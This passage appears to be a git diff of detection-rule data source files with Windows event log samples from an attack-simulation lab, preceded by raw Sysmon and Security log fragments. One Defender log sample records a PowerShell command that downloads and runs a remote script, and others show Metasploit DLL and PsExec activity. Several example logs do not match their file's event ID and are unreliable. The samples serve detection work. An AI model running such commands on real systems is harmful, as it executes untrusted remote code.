AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013483Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:38.127{f73635a5-3fe6-6423-611c-000000004902}6928C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}3132--- + 22542200x800000000000000013482Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:36.874{f73635a5-3ef4-6423-4a1c-000000004902}6884ar-win-dc.attackrange.local0fe80::ccd8:364c:b6d:dab2;::ffff:10.0.1.14;C:\Windows\System32\dllhost.exeATTACKRANGE\Administrator + 22542200x800000000000000013481Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:36.873{f73635a5-3ef4-6423-4a1c-000000004902}6884_ldap._tcp.ar-win-dc.attackrange.local.9003-C:\Windows\System32\dllhost.exeATTACKRANGE\Administrator + 22542200x800000000000000013480Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:36.872{f73635a5-3ef4-6423-4a1c-000000004902}6884_ldap._tcp.Default-First-Site-Name._sites.ar-win-dc.attackrange.local.9003-C:\Windows\System32\dllhost.exeATTACKRANGE\Administrator + 5136001408100x8020000000000000170163Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainergPCMachineExtensionNames2.5.5.12[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]%%14674 + 5136001408100x8020000000000000170162Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainergPCMachineExtensionNames2.5.5.12[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]%%14675 + 5136001408100x8020000000000000170161Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainerversionNumber2.5.5.94%%14674 + 5136001408100x8020000000000000170160Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainerversionNumber2.5.5.93%%14675 + 154100x800000000000000011356Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:28:20.851{F02F376E-3FD4-6423-4C1B-00000000D602}704C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362016Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x2c0C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 4688201331200x8020000000000000362015Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xec8C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011355Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:28:20.247{F02F376E-3FD4-6423-4B1B-00000000D602}3784C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362014Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa1cC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011354Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:28:19.591{F02F376E-3FD3-6423-4A1B-00000000D602}2588C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}1952--- + 03/28/2023 19:28:19.967 + dcName=ar-win-dc.attackrange.local + admonEventType=Update + Names: + objectCategory=CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=attackrange,DC=local + name={31B2F340-016D-11D2-945F-00C04FB984F9} + displayName=Default Domain Policy + distinguishedName=CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=attackrange,DC=local + cn={31B2F340-016D-11D2-945F-00C04FB984F9} + Object Details: + objectGUID=2372d0aa-b81e-4b91-9357-e73b9ba51a4f + whenChanged=07:28.19 PM, Tue 03/28/2023 + whenCreated=02:18.06 AM, Sun 03/26/2023 + objectClass=top|container|groupPolicyContainer + Event Details: + uSNChanged=90444 + uSNCreated=5672 + instanceType=4 + Additional Details: + dSCorePropagationData=20230327205811.0Z|20230326024245.0Z|20230326024244.0Z|20230326024244.0Z|16010101000000.0Z + gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A diff --git a/data_sources/windows_event_log_application_15457.yml b/data_sources/windows_event_log_application_15457.yml index 7b0470b983..fe3598f29c 100644 --- a/data_sources/windows_event_log_application_15457.yml +++ b/data_sources/windows_event_log_application_15457.yml @@ -64,4 +64,5 @@ fields: - UserID - vendor_product - Version -example_log: 1545704200x8000000000000015827Applicationar-win-2.attackrange.localshow advanced options10613C00000A00000009000000610072002D00770069006E002D0032000000070000006D00610073007400650072000000 +example_log: | + 1639404000x8000000000000015229Applicationar-win-2.attackrange.local diff --git a/data_sources/windows_event_log_application_2282.yml b/data_sources/windows_event_log_application_2282.yml index c0dd091414..8a81db988a 100644 --- a/data_sources/windows_event_log_application_2282.yml +++ b/data_sources/windows_event_log_application_2282.yml @@ -64,4 +64,5 @@ fields: - Version output_fields: - dest -example_log: 228202000x800000000000001001307Applicationwin-dc-exch01.attackrange.localc:\temp\msf.dllAMD64C1000000 +example_log: | + 228202000x800000000000001001304Applicationwin-dc-exch01.attackrange.localc:\temp\msf.dllAMD64C1000000 diff --git a/data_sources/windows_event_log_application_3000.yml b/data_sources/windows_event_log_application_3000.yml index 3325d1bcf3..292a0feaf9 100644 --- a/data_sources/windows_event_log_application_3000.yml +++ b/data_sources/windows_event_log_application_3000.yml @@ -68,4 +68,5 @@ fields: - Version output_fields: - dest -example_log: 300004000x8000000000000021334Applicationwin-host-mhaag-attack-range-117C:\Windows\System32\klist.exe001d8c3afcf370d13 +example_log: | + 300004000x8000000000000021334Applicationwin-host-mhaag-attack-range-117C:\Windows\System32\klist.exe001d8c3afcf370d13 diff --git a/data_sources/windows_event_log_application_8128.yml b/data_sources/windows_event_log_application_8128.yml index 6fceb20960..a86c3b901b 100644 --- a/data_sources/windows_event_log_application_8128.yml +++ b/data_sources/windows_event_log_application_8128.yml @@ -64,4 +64,5 @@ fields: - UserID - vendor_product - Version -example_log: 812804200x8000000000000016635Applicationar-win-2.attackrange.localodsole70.dll2022.160.1000sp_OACreateC01F00000A00000009000000610072002D00770069006E002D0032000000050000006D007300640062000000 +example_log: | + 1639404000x8000000000000015229Applicationar-win-2.attackrange.local diff --git a/data_sources/windows_event_log_appxdeployment_server_400.yml b/data_sources/windows_event_log_appxdeployment_server_400.yml index 946d36a28d..48c5e0cd5d 100644 --- a/data_sources/windows_event_log_appxdeployment_server_400.yml +++ b/data_sources/windows_event_log_appxdeployment_server_400.yml @@ -144,4 +144,5 @@ references: - https://learn.microsoft.com/en-us/windows/msix/desktop/desktop-to-uwp-behind-the-scenes - https://learn.microsoft.com/en-us/windows/msix/package/package-identity - https://redcanary.com/blog/threat-intelligence/msix-installers/ -example_log: 40004320x400000000000000116489Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIX6Microsoft.DesktopAppInstaller_2025.717.1857.0_neutral_~_8wekyb3d8bbwe (AppxBundleManifest.xml) C:0x0true\\?\Volume{de26f417-916d-40a6-aaa9-9675b36f2d21}false0x8false0x40040040falsefalsefalseNULLsihost.exefalse0x4000x800falsefalsex-windowsupdate://05C4B27B-6E00-4A05-9B94-15C77E54E690/F855810C-9F77-45FF-A0F5-CD0FEAA945C6/508bfda4dcfb262c40e6f5d8e8811b3f47ee98a2 +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_appxdeployment_server_854.yml b/data_sources/windows_event_log_appxdeployment_server_854.yml index dc8f7c03ee..46037da27b 100644 --- a/data_sources/windows_event_log_appxdeployment_server_854.yml +++ b/data_sources/windows_event_log_appxdeployment_server_854.yml @@ -143,4 +143,5 @@ references: - https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting - https://www.appdeploynews.com/packaging-types/msix/troubleshooting-an-msix-package/ - https://www.advancedinstaller.com/msix-installation-or-launching-errors-and-fixes.html -example_log: 85404000x4000000000000000123456Microsoft-Windows-AppXDeploymentServer/OperationalDESKTOP-EXAMPLEC:\Users\User\Downloads\App.msix +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_appxdeployment_server_855.yml b/data_sources/windows_event_log_appxdeployment_server_855.yml index b87262cbd6..cfb5b49e04 100644 --- a/data_sources/windows_event_log_appxdeployment_server_855.yml +++ b/data_sources/windows_event_log_appxdeployment_server_855.yml @@ -142,4 +142,5 @@ references: - https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting - https://www.advancedinstaller.com/msix-installation-or-launching-errors-and-fixes.html - https://redcanary.com/blog/msix-installers/ -example_log: '85504400x400000000000000116417Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIX addPackageList: Microsoft.DesktopAppInstaller_1.26.430.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.717.1857.0_neutral_~_8wekyb3d8bbwe updateList: Microsoft.DesktopAppInstaller_1.26.429.0_x64__8wekyb3d8bbwe is updating to Microsoft.DesktopAppInstaller_1.26.430.0_x64__8wekyb3d8bbwe' +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_appxpackaging_171.yml b/data_sources/windows_event_log_appxpackaging_171.yml index 64f5891b33..45186d4046 100644 --- a/data_sources/windows_event_log_appxpackaging_171.yml +++ b/data_sources/windows_event_log_appxpackaging_171.yml @@ -136,4 +136,5 @@ references: - https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting - https://www.appdeploynews.com/packaging-types/msix/troubleshooting-an-msix-package/ - https://redcanary.com/blog/msix-installers/ -example_log: 17104000x4000000000000000123456Microsoft-Windows-AppXPackaging/OperationalDESKTOP-EXAMPLEMaliciousApp_1.0.0.0_x64__abcd1234 +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_defender_1116.yml b/data_sources/windows_event_log_defender_1116.yml index 5a4073e616..4448860639 100644 --- a/data_sources/windows_event_log_defender_1116.yml +++ b/data_sources/windows_event_log_defender_1116.yml @@ -106,4 +106,5 @@ fields: - vendor_product - vendor_severity - Version -example_log: "111603000x80000000000000001799Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0111UserUnknownEC2AMAZ-FKEOM7G\\Administratorcontainerfile:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN; file:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN->eicar.com2Network share0Unknown0Concrete09Not Applicable0x00000000The operation completed successfully. 00No additional actions requiredAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7" +example_log: | + 111603000x80000000000000001799Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0111UserUnknownEC2AMAZ-FKEOM7G\Administratorcontainerfile:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN; file:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN->eicar.com2Network share0Unknown0Concrete09Not Applicable0x00000000The operation completed successfully. 00No additional actions requiredAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7 diff --git a/data_sources/windows_event_log_defender_1117.yml b/data_sources/windows_event_log_defender_1117.yml index 3d228846bc..d56deeab50 100644 --- a/data_sources/windows_event_log_defender_1117.yml +++ b/data_sources/windows_event_log_defender_1117.yml @@ -107,4 +107,5 @@ fields: - vendor_product - vendor_severity - Version -example_log: "111704000x80000000000000001800Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0321UserUnknownEC2AMAZ-FKEOM7G\\Administratorcontainerfile:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN; file:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN->eicar.com2Network share0Unknown0Concrete02Quarantine0x00000000The operation completed successfully. 00No additional actions requiredEC2AMAZ-FKEOM7G\\AdministratorAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7" +example_log: | + 111704000x80000000000000001800Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0321UserUnknownEC2AMAZ-FKEOM7G\Administratorcontainerfile:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN; file:_\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\WD_SCAN\BERLIN->eicar.com2Network share0Unknown0Concrete02Quarantine0x00000000The operation completed successfully. 00No additional actions requiredEC2AMAZ-FKEOM7G\AdministratorAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7 diff --git a/data_sources/windows_event_log_defender_1121.yml b/data_sources/windows_event_log_defender_1121.yml index 3775cc0f02..035b13e271 100644 --- a/data_sources/windows_event_log_defender_1121.yml +++ b/data_sources/windows_event_log_defender_1121.yml @@ -103,4 +103,5 @@ fields: - UserID - vendor_product - Version -example_log: 112103000x80000000000000002975Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.20093B576869-A4EC-4529-8536-B80A7769E8992023-11-20T16:29:48.984Zresearchvmhaa\researchC:\Users\research\AppData\Local\Temp\script.vbsC:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE1.401.912.01.1.23100.2009ENT\ConsR"C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" 0x00000000 +example_log: | + 112103000x80000000000000002961Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D4F940AB-401B-4EFC-AADC-AD5F3C50688A2023-11-20T15:42:14.127Zresearchvmhaa\researchC:\Windows\System32\cmd.exeC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE1.401.908.01.1.23100.2009ENT\ConsRcmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\research\Desktop\macs\mac6.xls"C:\Users\research\Desktop\macs\mac6.xls0x00000000 diff --git a/data_sources/windows_event_log_defender_1122.yml b/data_sources/windows_event_log_defender_1122.yml index f928c8fb00..ce8fec4f58 100644 --- a/data_sources/windows_event_log_defender_1122.yml +++ b/data_sources/windows_event_log_defender_1122.yml @@ -99,4 +99,5 @@ fields: - user_id - UserID - Version -example_log: 112204000x80000000000000003701Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009E6DB77E5-3DF2-4CF1-B95A-636979351E5B2023-11-26T23:43:08.709Z(unknown user)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1.401.1247.01.1.23100.2009ENT\ConsRC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x00000000 +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1125.yml b/data_sources/windows_event_log_defender_1125.yml index c29a9e15ab..4186e7c064 100644 --- a/data_sources/windows_event_log_defender_1125.yml +++ b/data_sources/windows_event_log_defender_1125.yml @@ -102,4 +102,5 @@ fields: - UserID - vendor_product - Version -example_log: 112204000x80000000000000003701Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009E6DB77E5-3DF2-4CF1-B95A-636979351E5B2023-11-26T23:43:08.709Z(unknown user)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1.401.1247.01.1.23100.2009ENT\ConsRC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x00000000 +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1126.yml b/data_sources/windows_event_log_defender_1126.yml index 14aa8d3766..12f8d190b6 100644 --- a/data_sources/windows_event_log_defender_1126.yml +++ b/data_sources/windows_event_log_defender_1126.yml @@ -102,4 +102,5 @@ fields: - UserID - vendor_product - Version -example_log: '' +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1129.yml b/data_sources/windows_event_log_defender_1129.yml index 7b9e8a81fb..b3c091e597 100644 --- a/data_sources/windows_event_log_defender_1129.yml +++ b/data_sources/windows_event_log_defender_1129.yml @@ -65,4 +65,24 @@ fields: - Type - User - user -example_log: '' +example_log: | + 11/17/2023 05:23:37 PM + LogName=Microsoft-Windows-Windows Defender/Operational + EventCode=1129 + EventType=4 + ComputerName=researchvmhaa + User=NOT_TRANSLATED + Sid=S-1-5-18 + SidType=0 + SourceName=Microsoft-Windows-Windows Defender + Type=Information + RecordNumber=2360 + Keywords=None + TaskCategory=None + OpCode=Info + Message=A user has allowed a blocked Microsoft Defender Exploit Guard operation. + ID: D1E49AAC-8F56-4280-B9BA-993A6D77406C + User: NT AUTHORITY\SYSTEM + Path: C:\Windows\System32\cmd.exe + Process Name: C:\Windows\PSEXESVC.exe + Involved File: diff --git a/data_sources/windows_event_log_defender_1131.yml b/data_sources/windows_event_log_defender_1131.yml index 9df576972c..fcb8205447 100644 --- a/data_sources/windows_event_log_defender_1131.yml +++ b/data_sources/windows_event_log_defender_1131.yml @@ -102,4 +102,5 @@ fields: - UserID - vendor_product - Version -example_log: '' +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1132.yml b/data_sources/windows_event_log_defender_1132.yml index 52b9f719bb..1c0d354fe0 100644 --- a/data_sources/windows_event_log_defender_1132.yml +++ b/data_sources/windows_event_log_defender_1132.yml @@ -102,4 +102,5 @@ fields: - UserID - vendor_product - Version -example_log: '' +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1133.yml b/data_sources/windows_event_log_defender_1133.yml index 9a8ee67b4a..09446ba562 100644 --- a/data_sources/windows_event_log_defender_1133.yml +++ b/data_sources/windows_event_log_defender_1133.yml @@ -102,4 +102,5 @@ fields: - UserID - vendor_product - Version -example_log: '' +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1134.yml b/data_sources/windows_event_log_defender_1134.yml index b86c487d50..75e3c2417a 100644 --- a/data_sources/windows_event_log_defender_1134.yml +++ b/data_sources/windows_event_log_defender_1134.yml @@ -102,4 +102,5 @@ fields: - UserID - vendor_product - Version -example_log: '' +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_5007.yml b/data_sources/windows_event_log_defender_5007.yml index dc416bacf0..ed5a5e8298 100644 --- a/data_sources/windows_event_log_defender_5007.yml +++ b/data_sources/windows_event_log_defender_5007.yml @@ -105,4 +105,5 @@ fields: - UserID - vendor_product - Version -example_log: 500704000x80000000000000003726Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\48 = 0x1 +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_security_1100.yml b/data_sources/windows_event_log_security_1100.yml index 